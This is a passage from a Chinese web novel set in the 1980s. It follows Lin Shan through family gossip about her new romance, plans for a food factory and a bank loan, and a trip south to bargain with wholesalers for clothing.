发誓一定要在这学期的考试当中把林珊狠狠地压下去。 本来她对那什么包子铺一点儿都不感兴趣，但最近老听同学说多好吃多好吃的, 于是就产生了看热闹的想法。 一个没课的下午，张丽丽跟班上一个玩儿得好的小姑娘相伴去了中关村附近。 “爱国包子铺”很好找, 张丽丽刚拐进这条路，一眼就看见了这非常打眼的铺子。两间大店面, 窗明几净的, 这会儿才四点多，瞧着就已经有不少人了。 包子和卤肉的香味儿, 飘荡在街道上, 让人不自觉地流口水。 同行的姑娘想进去买两个尝尝, 张丽丽有点儿为难，她怕林珊在里头, 见了面多尴尬, 她们俩现在可是仇人呢。然而, 当她偷偷往里查看情况的时候，整个人瞬间被惊呆了。 张丽丽揉揉眼，以为自己眼花，可等她定睛再一看，发现这人确实是贺正岩。他出现在包子铺还不算太奇怪, 可他跟林珊坐一桌, 还有说有笑的，就非常奇怪了！ 贺正岩虽然不是她亲表哥，但怎么说也是亲戚, 对方什么背景，自己再清楚不过了。这八竿子打不着的俩人怎么认识的？ 妈呀！ 正岩哥居然还替林珊拨了下头发！！ 这俩人……不会在搞对象吧？！！ 张丽丽震惊得下巴都快掉了，跟着没两秒她就想到了一个更震惊的事儿！林兰跟林珊是堂姐妹，贺启明跟贺正岩又是两兄弟，这、这、这是啥啊？ 兄弟俩配姐妹俩，怎么那么像旧社会的事儿呢。 张丽丽愣在原地，不知道该怎么反应，为了确保不弄错，她硬是拉着同伴做掩护，生生观察了好一会儿，直到看见贺正岩的手握在了林珊的手背上，她才彻底确认，这俩人就是在搞对象。 正岩哥应该挺喜欢林珊的，张丽丽还从来没见他这么笑过，她印象中的贺正岩对她们这些弟弟妹妹非常照顾，不管是不是亲的，都一视同仁。他不至于严肃到不苟言笑的地步，但人总是淡淡的，没什么特别浓烈的情绪。 他们那茬儿的孩子都特别喜欢他，崇拜他，现在猛得一见贺正岩这么温柔地对着一个姑娘笑，而且还是她非常讨厌的姑娘，张丽丽一时还真说不出来是什么滋味。 她顿时对铺子什么的都不感兴趣了，恨不得立刻赶回家，告诉他们自己看到的一切。 坐在店里吃饭的林珊和贺正岩，压根没发觉自己被人看了半天。俩人最近都特别忙，今天总算是有时间能好好坐下来吃顿饭了。 由于贺正岩有一阵儿没尝过她家的饭菜了，所以俩人就趁着人少的时候，来店里吃了起来。他爱吃猪杂，还爱吃小笼包和肉丝面，林珊则更爱卤素菜和馄饨。 “刚做出来的就是好吃。”贺正岩这一段时间在延庆待着，伙食水准不是很高，今天是特地饿着肚子来着林珊的。 “慢点儿，吃快了对胃和血糖都不好。”林珊发现身边的男同志吃饭都特别快，尤其是当兵的。 贺正岩冲她笑了笑，听话地放慢了速度，“习惯了。” 林珊笑睨了他一眼，开口道：“我下礼拜要去趟粤城。安河的服装店要上新了，必须多进点儿货。” 贺正岩知道她生意多，但没想到安排得这么满，“都谁跟你去？” 林珊：“基本跟上次一样，不过这回赵福哥不跟我们去，李娜你的记得吧，这次她哥跟我们一块儿去。” 李娜她哥李国超现在也在自家公司上班。公司目前急需各类人才，李国超从部队复原后一直在铁路干活，资质和能力都不错。只是眼看自己工资不涨，妹妹却越挣越多，再加上老婆又生了一对儿双胞胎，生活压力越来越大，他想了一个礼拜，决定还是跟着林珊家干有前途。 林珊对李国超不陌生，对他的人品也信得过，所以这次去粤城就由他接替赵福了。 贺正岩点点头，“注意安全，有事儿还找上回我纸上写的那人就行。” “好的。”林珊突然想起上次他特地跑来送自己时的样子，心里不由得一阵温暖，一个人在不在乎你，真的一眼就能看出来。 她笑着把自己面前的素卤推过去一些，说：“我记得你爱吃藕片。” 贺正岩确实喜欢吃藕，虽然跟肉比起还是肉更好吃，但是素菜里他确实最爱吃藕，他很高兴林珊对自己的喜好记得这么清楚。 他一边吃着藕，一边忍不住想：要是今年能结婚就好了。 林珊瞧他一直盯着自己笑，有点儿不好意思，“快吃。” 贺正岩乐了，“不是刚才还让我慢点儿吗？” “……”林珊嗔他一眼。 正儿八经的饭点儿很快就到了，俩人吃完饭后赶紧给客人腾出位置。林珊看看表，也差不多该回学校了。 贺正岩不舍地把送她到宿舍门口，看着她离开的背影，再次想着要是结婚就好了，能一块儿回家，一块做饭吃饭，一块儿……干很多事儿。 这边情谊浓浓，那边张丽丽却着急忙慌地跑回了家。 她连口水都没顾上喝，就把自己刚发现的秘密都倒了出来。张爸张妈瞬间就陷入了一种不知该怎么反应的沉默中。 贺家兄弟找了一对儿姐妹。哥哥找妹妹，弟弟找姐姐……咋说呢，这事儿怎么想怎么透着股荒唐劲儿。 就算在旧社会，也很少人会搞出这种事儿来，更何况是贺家这种家庭啊。这怎么就非得相中同一家的姑娘呢，唉。 两口子叮嘱闺女：“千万别出去乱说，这事儿你就当不知道。” “哦。”张丽丽在这种大事上非常听话，不过，“那你们可得告诉我姑，让她务必要拆散正岩哥跟林珊，我可不想跟她做亲戚！她可讨厌了，人还那么坏！凭什么进贺家门？要是只能有一个进门，那必须是林兰姐。” 张妈：“行了，你操心好自己的事儿就行了。” 张爸：“就是，这事儿你千万别瞎掺和，听见没？” “听见啦。”张丽丽又不傻，她就是害怕林珊嫁入贺家，想让姑姑出面而已，但是真让她自己去做些什么，她还怕一个弄巧成拙，让自己在姑父心目中的形象受损，那多划不来。 次日，林珊上完课后，跑去了科研所的房子里。赵福跟王芳圆满完成了任务，要起身回安河了。她除了来送行，还有事儿要再特地交代一下。 因为赵福从京市回安河之后，要开始着手新的业务，除了加盟店之外，林珊交给他最重要的任务就是回大岗村谈地皮承包。 她要开始建厂了。 公司目前发展得非常好，各个店的生意都蒸蒸日上，加盟业务也越做越大，所以他们每天向各个门店的供货量非常庞大，家庭作坊式的供货方式产能太低，眼看就要赶不上供货速度了，所以开加工厂的事儿迫在眉睫。 林珊让赵福回村先谈地皮承包，自己忙完服装店的事情后，就会立刻着手开厂的事宜。 总之要做 的事儿很多，一些细节的地方需要跟赵福再说清楚一些。大岗村一来离安河市区不远，二来他们又是本村人，关系和各方面都比较到位。厂子开在那儿是首选方案。 这事儿交给赵福去谈最合适不过了。 赵福对开厂的事儿非常支持，现在林红那边确实已经忙不开了，他真恨不得立刻回去开干。不过开厂要花的钱可不少，他不确定公司有这么多钱。 林珊解释道：“我会去银行贷款。” 贷款赵福懂，就是去跟银行借钱，然后再给人家一些利息钱。不过他听说特别难办，“咱估计要贷的钱不少，不知道人家愿不愿意借。” 林珊笑了，“哥，你也太小看咱家公司了。正常情况下银行不借钱，最大的原因是风险评估不过关。在整个安河的个体户里，咱家怎么也算前几名了。只要找找人，确保不被刁难，贷款应该不会有问题的。” 赵福明白了。他以前穷又是农村人，出去办事也老被刁难，所以容易被政府和信用社这些有权有势的大地方吓到，但其实珊妹子说得是再简单不过的道理了，“我要借，人家肯定不借。咱公司就不一样了，咱挣钱多，还有这么多铺子，借给咱们不但保险，他们也能赚不少利息。” “是。”林珊点点头。有很多发展很好的公司，银行都是上门送钱，想让人家借他们的钱，他们好吃些利息。换句话说，就是求着你借钱。 随着自家事业规模不断得壮大，不可能万事都靠公司账上那些流动资金。 要会挣钱，更要会用钱。 能贷款的贷款，不能的就自己出钱。账上的钱，除了做现金流，还有一部分要用来投资。买房子、买地皮、国库券和股票的投资回报率，从长远来看，远超于开店和建厂。穿到八十年代，不买房不买股票和债券，就等于让钱白白流走。 不过由于这些投资都需要很长的时间跨度，所以目前还是要以实业为主。 毕竟在八九十年代，来钱最快的还真就是零售。连那些开工厂的，都没有倒爷挣得多。这也是为什么她不但要卖饭，还要努力开服装店的原因。因为这东西确实来钱快，利润大。 把赵福两口子送走之后，林珊就回了学校。 因为马上要请好几天假，所以这几天必须好好表现，她不但在课堂上非常积极，下了课还主动找老师问问题。 没有一个老师不喜欢勤学好问的学生，再加上林珊成绩又好，所以老师们对她自然就多了几分宽容。 这可让张丽丽看不惯了，下午跟贺启明和林兰一起聚餐吃饭的时候，她一个没忍住，就又开始说坏话了。 第98章 第98章 不得安宁 “我实在是看不下去了！”张丽丽气愤不已, “林珊她一天天可会了！把我撵出宿舍还不算完，又在中关村开了个包子铺，被人叫什么‘西施’！现在连我们老师都被她哄得特别开心, 天天夸她！她想请假就请假，想不来就不来。真是把清大当成自己家了！” “你真换宿舍了？”贺启明没想到张丽丽居然被撵出去了。 提起这个张丽丽是一肚子的委屈, 眼眶瞬间就红了，“她串通宿舍其他人, 一块儿找我的事儿，最后宿管老师没办法, 只好把我换走了。” 贺启明虽然了解表妹的脾气性格, 知道一个巴掌拍不响，但再怎么说她也是自己妹妹, “没想到这个林珊的脾气还挺大。” “可不嘛。”张丽丽总算见到亲人了, 这事儿就连她爸妈也不站在她那边, “哥，还是你替我着想。” 贺启明叹气：“搬就搬吧, 不然这一块儿住着也不开心。你现在这宿舍怎么样？” 张丽丽含着泪点点头, “还行吧, 反正我也不经常住。” “……”贺启明有点无语。这丫头刚才还说人家林珊不住校，把清大当自己家，看来她也没好到哪儿去。 林兰一边把手帕递过去给张丽丽擦泪，一边叹着气，不好意思地说：“对不住了丽丽, 林珊的脾气确实有些大, 让你受委屈了。” “谢谢。”张丽丽接过手帕，见林兰又心疼又担心地看着自己，心里有些动摇。启明哥跟兰姐对她都特别好, 到底该不该把林珊跟贺正岩的事儿说出来呢？看他俩的反应，姑姑应该还没说，也不知道在想什么。 她一时拿不定主意，只能先说：“兰姐，你不用替她道歉。你是你她是她，我分得很清楚的。” 林兰拍拍张丽丽的肩膀，露出一副温柔又善解人意的模样，“谢谢丽丽，林珊的脾气我最了解了，什么事儿都要拔尖，性格比较强势，有时候一不注意就会伤到人。你受委屈了。” “姐……”张丽丽实在是不忍心让这么善良的林兰被蒙在鼓里，再加上她真的是一万个不想林珊嫁进贺家，所以一咬牙一跺脚，她伸出手，跟做贼似的，让贺启明和林兰靠近点儿。 俩人不明所以，带着好笑地靠过去。张丽丽用超小声说：“我告你们俩一个事儿，但是哥你可别跟姑姑说是我说的啊。” 贺启明：“什么事儿？” 张丽丽声音又压小了一点儿，“那天我在林珊的包子铺，看见了正岩哥，他俩……他俩现在在搞对象呢！” 贺启明愣了一下，“你是说我哥的对象，是林珊？” “嗯！千真万确，他俩还牵手呢，正岩哥还替她整理头发来着！”张丽丽边说，还边比划了一个别头发的动作。 贺启明缓缓地靠回椅背，原来他哥嘴里的目标是林珊啊。这……怎么说呢，巧是真巧了点儿，但也不是什么特别惊人的大事儿吧。 “哥！你怎么没反应啊。”张丽丽替他着急，“兄弟俩找姐妹俩，你觉得我姑父能同意吗？” 贺启明想起了自己亲爹，那确实是个挺严肃古板的人，不过要是他们哥俩都非卿不娶，他老人家也没辙。只是这林珊家跟兰兰家不对付，看样子脾气也不好，以后要是真进了一家门，恐怕家庭气氛不会好到哪儿去。 张丽丽见贺启明这边儿没什么大反应，下意识看向林兰，结果这一看差点吓一跳，“姐！你没事儿吧？”脸色煞白煞白的，表情也有些呆滞，很明显受了很大刺激。 “兰兰，你怎么了这是？真被吓着了？”贺启明赶紧握住林兰的手安慰，“没事儿，我爸不会棒打鸳鸯的。再说了，这也没什么大不了的。你跟林珊家又不是亲姐妹，嫁给两兄弟又怎么了，哪条儿法律敢说不行？别担心，有我呢。” 林兰堪堪回神，艰难地冲贺启明笑了笑，“我就是有点儿震惊，没事的。” 贺启明叹气：“我也没想到我哥挑来挑去，竟然跟我挑一个门儿里去了。” 张丽丽见俩人都没有给她想要的反应，气呼呼地说：“正岩哥一定是被林珊骗了！她平时那么狡诈，谁敢保证她不是故意盯上正岩哥，然后给他下套儿的啊。” 贺启明拍拍张丽丽，让她冷静点儿，“这是我哥自己的事，咱谁都做不了主。就算到头来真是你说的那样，那也是他自己的选择。况且，他俩在一块儿应该还没多久，成不成都不一定呢。” 就是，成不成都不一定呢，张丽丽这么一想，心里稍微舒坦一些，不过嘴上还是忍不住说道：“正岩哥也真是的，他那么优秀，不应该看不透林珊的真面目啊。哼，难怪人家都说男的容易色迷心窍，正岩哥一定是被林珊的狐媚外表给迷惑住了！” 贺启明挑了下眉，心里也有同样的想法。他记得林珊确实长得很漂亮，是那种让人看一眼就会被吸引走的漂亮，本来他以为他哥喜欢的，应该是那种知书达理类型的内涵美。没想到他居然就这么轻易就被人给迷住了。 也不知怎么的，贺启明突然就萌生出了一点儿优越感，他觉得在找对象这件事上，自己比贺正岩靠谱多了。 一直默默没有不作声的 林兰，虽然表面上还能维持着平静，内心却早已经翻江倒海、慌乱不堪了。 她震惊自己听到的一切，完全消化不了林珊居然攀上了贺启明大哥的事，她心跳不断加速，耳朵开始了鸣叫，整个人被一种前所未有的恐慌占据着。 满脑子充斥着不行不行！绝对不行！ 她绝对不能让林珊得逞！绝对不能让林珊跟贺家有任何关联！嫁进贺家的只能是她一个人！ 林兰疯狂偷掐自己的大腿，用痛感逼自己冷静，耳边贺启明和张丽丽的聊天声越来越清晰，她的理智也一点一点地恢复过来。 “哥，你知道他俩怎么认识的吗？”张丽丽想不通，就算林珊本事再大，也不能想跟正岩哥认识就认识了吧？怎么看怎么像一开始就设计好的圈套。 贺启明：“我哥之前说他有个相中的姑娘，是以前战友的妹妹，估摸就是林珊。” “……”张丽丽有些失望，“反正她不简单，你还是跟正岩哥说一声，让他小心点儿的好。” 贺启明笑了，“他现在可能正在兴头上呢，我说这种话不是自找没趣吗？”再说了，俩人又不是一个妈生的，不可能像亲兄弟那样无话不谈。 张丽丽道理都懂，但就是不开心，她实在受不了林珊有一丁点跟自己做亲戚的机会。 林兰稍稍缓劲儿之后，柔声开口：“丽丽，你哥说得对，这事他不方便出面的。不过……”她顿了顿，露出一丝不知道该说不该说的表情。 张丽丽眼睛一亮，“怎么了兰姐？你有话就直说吧，咱这儿又没有外人。” 林兰看看张丽丽，又看看贺启明，挣扎了两秒后，小声道：“林珊她……确实挺厉害的。只要是她看上的男生，就没有不喜欢她的。所以启明大哥会被林珊迷住，也不算什么很让人意外的事。” “就凭她那张脸吗？”张丽丽既有点儿不屑，又有点儿好奇。 林兰让自己看起来非常客观，不带任何情绪地说：“我也不知道，反正她就是有办法。以前就经常有人叫她各种‘西施’，她店门口排队的除了几个真吃饭的，基本全是小青年，就为了看她一眼。她很会做生意，也很懂男同志的喜好。” 张丽丽眼睛眯了眯，做实了林珊是个阴险狡诈的不正经人，她忍不住哼声：“她在学校也这样，把老师哄得团团转！男同学看见她也都跟傻子似的！哼，别以为天底下的人都会吃她那套，我一定要拆穿她的真面目！” 林兰没再说话，面上维持着一种礼貌的微笑。 贺启明却说：“行了，你不要瞎掺和。”他夹了块肉给张丽丽，像个大哥哥似的安抚教育她。不过他虽然嘴上这么说，心里却有一种前所未有的畅快。终于让他找着贺正岩不如他的地方了，这感觉还真形容不出来。像是出了口气，又像是喘上来一口气。 从小到大他都活在贺正岩的光环下面，真是受够了。爷爷亲自把大哥带大，对他虽然也亲，但到底不一样，光看眼神就知道。在亲戚眼里，他也不如大哥。每次家庭聚会，总要听他们称赞大哥又在部队干了什么了不起的大事。 他好像是透明的，应该说他跟他妈在所有贺家人眼里，好像是透明的。这么多年了，他替自己憋屈，也替母亲不值。 吃完饭后，回去的路上林兰忍不住问贺启明：“这件事你怎么想的？” 贺启明扬了下眉，又叹了口气，“我哥他想沾惹麻烦，我拦不住，也没资格去拦。况且私心里，我希望他出点儿错，好让我爸看看他的宝贝儿子，也是会犯糊涂的。” 林兰明白了，他这是要顺其自然的意思，她在心里默默叹气，露出一副“我都是为你好，才私下说人坏话”的模样，“虽然我不想承认，但是林珊她真得非常恨我们家。她之前当着我的面说过，无论什么时候她都要压我一头。现在看来，并不是玩笑话。她真得不是一般人，没有那么容易露出马脚的，万一她把贺叔叔和你家亲戚都哄得高高兴兴的，到时候被动的就会是咱们。” 贺启明听进去了，想了会儿，说：“我爸没那么容易被骗，而且还有我妈在。就算林珊再厉害，也只是个小丫头片子，无论以后发生什么，被动的绝对不会是咱们。” 林兰点点头，面上做出一副被安慰到了的模样，心里却依旧急得上蹿下跳，没有一丝安宁。 第99章 第99章 再去粤城 三天后, 林珊出发去粤城。 这次她要先回安河，然后再跟林红李娜兄妹一块儿踏上南下的火车。 贺正岩一大早就过来送她了，又是带她吃饭, 又是搬行李，又是上车安顿的, 好像她是第一次出远门似的，不停地交代着注意事项。 林珊笑了, “知道了，我会小心的, 到了给你打电话。” 贺正岩被她笑得有点儿不好意思, 不过最近粤城不是很太平，他难免担心, 握着林珊的手不舍地看了她一会儿, 又细细审视了一圈车厢乘客后, 列车也到了出发时间。 林珊跟他挥手告别，心里说不出的温暖, 来自对象的关心和爱护, 跟家里人的感觉还真是不太一样。 “到了打电话。”贺正岩重复了这么一句后, 依依不舍地下了车。 林珊看着月台上的身影越来越小，心里竟然也生出一丝不舍。明明才搞对象没多久，更何况又不是没出过远门，感觉却已经悄悄在发生变化了。 她坐的这趟火车开到安河要三个多小时，林珊回想了一会儿感情生活, 计划了一下未来人生, 安河也就到了。 林红和李娜兄妹俩早早就等在车站了，之前林珊就跟大家靠好，所有人直接在火车站碰面, 家她就先不回了，直接南下搞货，不浪费一分一秒。 四个人在车站一碰头，李娜就直接扑过来了，抱着林珊不撒手，“姐！想你了！” 她个头大，人又壮，差点儿给给林珊冲了一趔趄，“我的姑奶奶啊，你这是又长力气了？” 李娜傻呵呵笑：“没有。” 李国超也笑了，“行了，赶紧松开人。咱要赶路了。” “好！”李娜很听她哥的话，立刻松手站好，但人还是紧贴着林珊，笑眯眯地看着她。 林珊乐了，“带你去粤城就这么开心啊？” “嗯！”李娜猛点头，她可太喜欢坐火车了，还喜欢去外面逛，以前老在家待着哪儿都去不了，现在她连粤城都能去了！听说那地方可发达了！ 李娜兴奋的情绪感染了所有人，三人笑着踏上了前往粤城的列车。 林珊这次照旧买的卧铺票，实在是因为进货款带的多，用来送礼的特产也装了不少，不敢在硬座车厢挤，而且他们到了就得直接去市场拿货，休息好很重要。 安顿好后，林红把一个小包给了林珊，“大头你拿着，其他都按你说的分开放了。” 林珊收好包，询问起赵福找地皮的进展。 林红说：“挺顺利的，昨天还听赵福说村支书那边已经基本同意了，现在关键是价钱的问题谈不太拢，这个估计得等你回去之后再把关了。” “好。”林珊点点头，算了一下时间。这次去粤城，因为还想谈渠道合作，肯定比之前花的时间多。再加上来回的路程，回到安河恐怕应该在两个礼拜之后了。 她这次离校只请了两个礼拜的假，打的算盘就是时间到了再继续补请，不然上来就直接请一个月，老师很难同意。 “先吃饭吧。”李国超把带得饭菜都拿出来了，这会儿已经稍微过了饭点儿，大家都还饿着肚子，先吃饭要紧。 “我妈和我嫂子做的！姐你们尝尝。”李娜指着小桌上的两盒红烧排骨、四大盒饺子和两盒拌菜，兴奋得很。李家这次为了兄妹来出远门，准备了很多东西。 “好香！”林珊看着这一小桌满满当当的饭菜，馋虫瞬间就勾起来了。 林红也赶紧掏出自家的卤味放了上去，“来来来，先吃饭。” 李家人的手艺不错，饺子尤其好吃，皮儿又筋道又薄，肉馅儿也紧实好吃，一口下去别提多满足了。小菜拌得居然很有朝鲜族特色。 李国超解释说是他在东北当兵的时候 ，他媳妇儿跟当地的朝鲜族大婶学来的。 味道确实很好，而且不甜，很符合安河人的口味，林珊和林红夸了又夸，高兴地李国超直说让媳妇儿再多做些给她们送过去。 林珊感激不尽，她前世虽然不怎么爱吃泡菜，但是辣白菜豆腐汤还是挺好喝的，冬天来上一碗配米饭吃，又暖和又开胃。 食品厂开了之后，肯定不能只用来给包子铺供原材料，大力发展出主营业务也极为重要。各种肉酱辣酱，腌菜榨菜这些，都要尽快提上日程。 李国超媳妇会做不少腌菜，到时候可以请她参与一下产品的研发。 林珊一边吃着饺子，一边发散思维去了。她现在满脑子除了搞定服装渠道，剩下的就都是在想建厂的事儿了。建厂在哪个年代都不是小事，毕竟要投入大量的人力物力财力，想得再细致也不为过。 从安河到粤城要40个小时，一般没出过远门的兴奋劲儿一过就累了，李娜确实硬生生兴奋到了粤城。路过哪儿她都好奇，惊叹无比，还一直问林珊，这是不是就是书里说得XX地方。 林珊没想到她平时还挺爱看书，猜得居然都对，忍不住好好夸奖了她一番。 这可把李娜高兴坏了，笑得合不拢嘴，力气使都使不完，一下火车更是两眼放光、瞳孔地震。 李国超比她妹子好点儿，他毕竟在外头当过兵，又去过首都，但是看见粤城的景象，还是惊讶了半天。 林红毕竟来过一次，这次好多了，但看着不远处正在建设的大楼，她还是忍不住惊叹：“天啊！这才多久，这儿就快盖起一栋楼了！” “是啊。”林珊看着那边的工地，内心感慨万千，同时又焦急万分，挣钱，必须赶紧挣大钱！盖大楼！她没有哪一个时刻比这会儿，更能体会到时间就是金钱的意义了。 这次四人照旧住的是上次的招待所，前台大姐一见林珊，立刻热情地给他们办了入住，还提醒她锅炉房刚烧好热水。 林珊笑着谢过大姐，凑过去小声说：“这回恐怕还是要麻烦姐多看顾一下了。” “好说好说。”大姐笑眯眯地点头，同样小声说道：“我也姓林，说不定咱们多少年前都是本家呢，你以后直接叫我芳姐就行了。” “诶，芳姐。”林珊笑着把包里的京市糕点给了大姐一袋，“您尝尝，首都特色。” “诶呦呦！”芳姐一边查看四周，一边假意小声推辞：“这多不好意思啊。” “您是我本家亲姐，我给自己姐吃些糕点怎么了。”林珊笑着塞到她桌子下面。 芳姐笑得更灿烂了，“诶呀呀，你这孩子，那、那以后有什么事儿你就说，这屋子姐一定替你看得连只苍蝇都进不去！” 林珊：“好嘞。” 办好了前台的事儿，林珊打了通电话向贺正岩报完平安后，他们一行人就直奔批发市场了。上午九点的服装市场已经开始忙碌了，林珊熟门熟路的找到陈炳坤的铺子，要先看看他进了什么好货。 服装店后来又再次补过一次衬衫和喇叭裤，俩人之间的互信算是更近了一步，这次来之前陈炳坤在电话里说他新进了一批紧俏货，可以仅着林珊先看。 所以林珊一来就直奔他的摊子。 陈炳坤一见他们上门，立刻热情得寒暄，把林珊一行人夸了个够。 林珊笑道：“行了坤叔，咱也不说客套话了，您有什么好衣服赶紧都拿出来吧。” 陈炳坤立刻让干活的小伙子从桌子下面拿出三大包衣服，然后解开其中一个包裹，兴奋拿出一件在包装袋里放着的暗红色衬衫，“真丝的，纯高档货！我这儿就100件！” 林珊一见这真丝衬衫眼睛都亮了，她接过衣服细细查看，这绝对是高档货，这年头的真丝制品少之又少，更不要提这种针脚和剪裁了，纽扣是天然贝壳料，跟她上次进的那批高档白衬衫像是一个货源。 “还有别的颜色吗？” “有！”陈炳坤迅速从里面抽出了紫色、黑色、白色和蓝色。 林珊挨个拆开看了看，颜色很正，做工讲究，紫色和蓝色都不是特别饱和的那种，看上去非常有质感。真丝这种材料娇贵，手稍微粗一点儿都能挂丝，不好保养，穿着也容易皱，但是没办法，有钱人谁能不爱真丝呢。更何况这衬衫的剪裁简直一绝，就算放到后世，也是极高档时髦的。 “多少一件？”林珊问。 陈炳坤比了个手势，“40一件，一分不能还价，是你我才开这个价钱的，别人来了一律50 ！” 林珊笑着说：“35吧，我要五十件。” “诶呀！你这小姑娘哦！”陈炳坤又流露出了那种长辈似的不开心，“都给你说了不能少啦，呐，我是看在你的面子上稍稍让一点的，这样吧，最少39！少一分我都会亏本的！” 林珊：“那37吧，我拿这么多货也是有风险的，而且又不是只拿您的衬衫，这回我们拿的货更多，品种更全，后续还需要继续跟您补货，您再给动动吧。” 陈炳坤用一副“你这丫头这能砍价”地架势看着林珊，心里忍不住叹气，他报价的时候已经算老实了，毕竟这小姑娘也算是老客户了，他是打算长期跟她做买卖的，纠结了会儿，打了会儿小算盘，陈炳坤重重叹出一口气：“唉，行吧行吧，你真是厉害哦！” 林珊笑了，“谢谢坤叔。” 说罢，她让林红把早准备好的安河特产拿了出来，“这些给您尝尝。咱买卖是买卖，情谊是情谊，您那么老远给我们补了两次货，实在感激不尽。” 陈炳坤看着这一大包特产，人有点怔愣，这特产可要不少花钱！又是山珍又是糕点又是一大摞他叫不出名字的东西，都能拿不少衣服了，“你、你这是，唉，小姑娘，你这……” 他不知道该说什么了，倒腾服装的年头也不短了，还是头一回碰见这种情况，砍价的时候一分不让，转脸又送一大堆东西。 陈炳坤看着眼前这笑盈盈的小姑娘，又看了看她同行的三个人，无奈地笑了，“客气啦，你们有心了。以后不要再砍这么狠的价就好咯，心脏都给我砍疼啦。” 林珊四人一时都忍不住笑了。 第100章 第100章 疯狂进货 因为这次是要拿春夏的衣服, 所以基本都不怎么占地方，能拿的款式和数量比秋冬装多多了。 而且春夏是爱美人士展示自己的好时节，衣服换得也勤, 不像大冬天很多人就只有就一件棉袄。 拿完真丝衬衫后，林珊又要了100件基础款白衬衫, 喇叭裤、牛仔裤、七分裤、九分裤这些也通通都来了五十条，单裙和连衣裙就更不用说了, 光材质和款式林珊几人就挑了将近一个小时。 薄料的西服套裙她也进了二十套，这年头的女同志们爱死套裙配高跟鞋了, 再梳个高盘发或大波浪, 小皮包一背，感觉自己就是这条街最时髦的姐。港城电影里的女明星都是这么穿的。 这种时髦又高档的款式, 进货数量要拿捏得比较好, 不然满大街都是同样的装束, 有钱的姐姐们就要开始不满意了。 扫完大货之后，林珊开始搜集一些款式新颖好看的单品, 不求数量, 只求质量和独特性。皮□□鞋凉鞋也拿了一些, 这样店面可以更加丰富一些，而且孤品也比较容易要上价。 这次除了要赠送给VIP客户的丝巾，林珊还准备再去水货市场买一些高档点儿的配饰，胸针、项链什么的。好衣服是基础，懂得如何搭配更为重要。 另外服装店员工的工作服也被她配好了, 夏季两套连衣裙, 春季两套衬衫配西裤。 这次拿的货比上次还多，陈炳坤安排他那边干活 的小伙子把三轮车装得老高，又仔细绑了好几条绳子固定, 才把这些衣服都送回招待所。 林珊又送了芳姐一件衬衫，她自己挑得粉色的，在身上比来比去笑得不拢嘴。两件衣服和一包糕点的威力，让林珊一行人在这个招待所住的极其舒服。白天出门不用太担心货物，暖瓶里的热水也总是满满当当的。 下午林珊带着三人一块儿去了水货市场扫货，上次进的丝袜尽管是在大冬天，也被爱美的女士们都买光了，这次当然不能拿少了。卖丝袜的老板还进了一批国外的那种大檐太阳帽，各个颜色的都有，非常青春靓丽。 林珊砍了半天价后，拿了五十顶。这帽子除了卖，她更想自己戴，夏天太阳毒，这年头也没有防晒霜，白不白倒是无所谓，就怕把人给晒老了。不但她戴，家里的妇女同志们都要一人来一顶。 老板姓金，见她这么爽快，非常热情地盘谈起来，知道她们还想买首饰后，立刻指了指拐弯一个比较隐蔽的摊位，“去那，他家什么稀罕东西都有，就是数量不多。” “好嘞，谢谢金老板，下回来了还找您。”林珊谢过人之后，又逛了几家才来到那家摊位面前。 金老板的话不假，这家的首饰确实挺好看的，林珊上来就看中一副珍珠耳钉，老板要价25。林珊一百块买了五对。另外还相中两个胸针，和一长一短两条珍珠项链。林珊前世没少戴首饰，打手上一过就知道这些都是真货。 林红也看得走不动道儿了，安河没有这些东西，结婚的时候王军送了她一个金戒指，平时舍不得戴。这回看价格能接受，她就忍不住也买了条银项链和一对银耳环。 李娜虽然自己不爱戴，却爱看这些亮闪闪的东西，李国超则让林珊和林红帮他挑了三条项链，媳妇儿、亲妈、妹妹，一人一条。 李娜迷迷瞪瞪地看着亲哥也给她买了项链，笑得一双眼睛都眯成缝儿了。不爱戴是一回事，没她的份儿就是另外一回事了。 四人在水货市场逛到天快黑，又在路边小摊上吃了一碗粤城风味的干炒牛河。 其实要不是时间紧任务重，林珊还真想带大家去吃吃这时期的早茶，看看跟后世有什么区别。反正这牛河吃着还挺好的，跟后世那些大店也没什么区别，牛肉给得不少，锅气十足，粉也柔软筋道。 吃完饭回到招待所后，林珊打了通电话到郭广发家。其实早在来粤城之前她就已经打过电话了，一是提前打声招呼，二来是想看看对方有没有什么东西需要捎带的。 郭广发说什么都不需要，还让他们直接住家里来。林珊哪可能这么打扰人家，所以这次还按上次的安排，给郭家带的，也还是他们爱吃的家乡特产。 次日一早，郭峰开着他那辆小货车就来到了招待所门口。 林珊这次就没再推辞，毕竟郭家确实挺远的，而且这次就她跟林红两人登门，又带着大包小包的特产，确实不方便。李娜兄妹跟郭广发家也不认识，四个人一块儿去做客有些不太妥当。 郭峰看着比上次瘦了点儿，也黑了点儿，笑呵呵地把林珊姐妹俩招呼上车，放好特产，一阵旋风似的朝自家开去。 “听我爸说你那服装店生意非常火爆啊！”郭峰闲聊。 “是，生意确实还不错。所以我这次想在粤城找个合作伙伴，这样方便随时补货。”林珊笑着问郭峰，“阿强哥他妹妹……还在自家铺子干活吗？” 郭峰一怔，明白她的意思了，于是笑着说：“阿英前阵子摆了一段时间的衣服摊儿，好像就回了个本钱，没挣到多少。最近又回店里帮忙了。怎么，你想让她跟你合伙？” 林珊实话实说:“是有这个想法，不过也要接触过之后才知道对方的能力怎么样，以及人家有没有兴趣跟我合作。峰哥能帮忙牵个线吗？我想先跟她认识一下。” “牵个线当然没问题，”郭峰说着一顿，“不过阿英这人脾气大，人又要强，倔劲儿上来连她爹都管不住。不一定是个好合作对象。而且，她家也不缺钱。” 林珊明白郭峰话里的意思。人家不缺钱，不缺人脉，凭什么跟你合作呢。她点点头，笑着说：“我先跟她认识一下，谈不成买卖，交个朋友也好。” 郭峰：“那好，吃完饭我直接带你们去找她。” 林珊谢过郭峰，跟他聊起了最近粤城的整治行动。 说起这个，郭峰就发愁了，唉声叹气地说：“两帮人马在市场抢地盘，居然疯了似的弄死五个人，你说这事儿能不闹大吗？按照原来那会儿，那些管事的基本都睁一只眼闭一只眼，处理几个人就完了，但是粤城刚新换了一把手，啥都管得巨严，还抽风似的搞什么整治行动，弄得大家最近皮都是紧的。唉……” “过一阵儿应该会好的。”林珊只能这么劝人。 她理解倒买倒卖人的处境，但却更理解这个一把手的做法。毕竟就连她在后世的时候，都知道这个时期的粤城市场非常混乱。黑恶势力横行，这些人暗地里杀人、放火、走私、贩毒，就没有他们不敢干的，只要能挣到钱。 